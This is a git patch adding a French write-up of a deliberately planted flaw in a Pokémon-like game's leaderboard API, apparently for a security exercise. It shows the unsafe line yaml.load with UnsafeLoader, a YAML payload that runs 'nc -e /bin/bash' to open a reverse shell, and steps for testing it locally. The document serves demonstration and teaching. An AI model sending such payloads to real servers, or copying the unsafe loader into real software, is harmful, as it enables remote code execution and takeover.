From 1fd92f2492454c966b5274e401448ffd8d722c9e Mon Sep 17 00:00:00 2001 From: furtest Date: Fri, 5 Dec 2025 06:34:18 +0100 Subject: [PATCH] Ajoute document pour la faille --- faille.md | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 faille.md diff --git a/faille.md b/faille.md new file mode 100644 index 0000000..39fdb6b --- /dev/null +++ b/faille.md @@ -0,0 +1,27 @@ +# Equipe Tigrou + +Nous avons réalisé un jeu pokemon-like où les logiciels libres et propriétaires s'affrontent : https://libremon.furtest.fr + +La faille est intégré dans le leaderboard, pour des raisons de sécurité elle est désactivé sur le serveur mais vous pouvez la trouvez en téléchargant les sources du site au lien suivant. + +LIEN + +# Fonctionnement de la faille + +L'api du leaderboard accepte des inputs en YAML ainsi qu'en JSON mais la version YAML utilise une fonction non sécurisé de la bibliothèque YAML de python. Plus précisement la ligne +```python +new_entry = yaml.load(request.data, Loader=yaml.UnsafeLoader) +``` +utilise le UnsafeLoader de YAML qui est permet lorsque l'utilisateur envoie un input formé de façon spécifique d'éxecuter du code arbitraire. + +Ceci envoyé avec un POST sur l'endpoint /api/leaderboard et avec une connection nc ouverte accessible permet d'ouvrir une reverse shell sur le serveur et y obtenir un terminal de commande. +```YAML +!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"] +```` + +# Tester par vous même + +Prérequis : avoir installé les biliothèques python `flask` et `yaml` +Dans un terminal lancer : `nc -nvlp 1111` +Lancer ensuite l'application dans un deuxième terminal avec : `python app.py` +Enfin dans un dernier terminal executer le script python fourni avec l'application : `python exploit.py`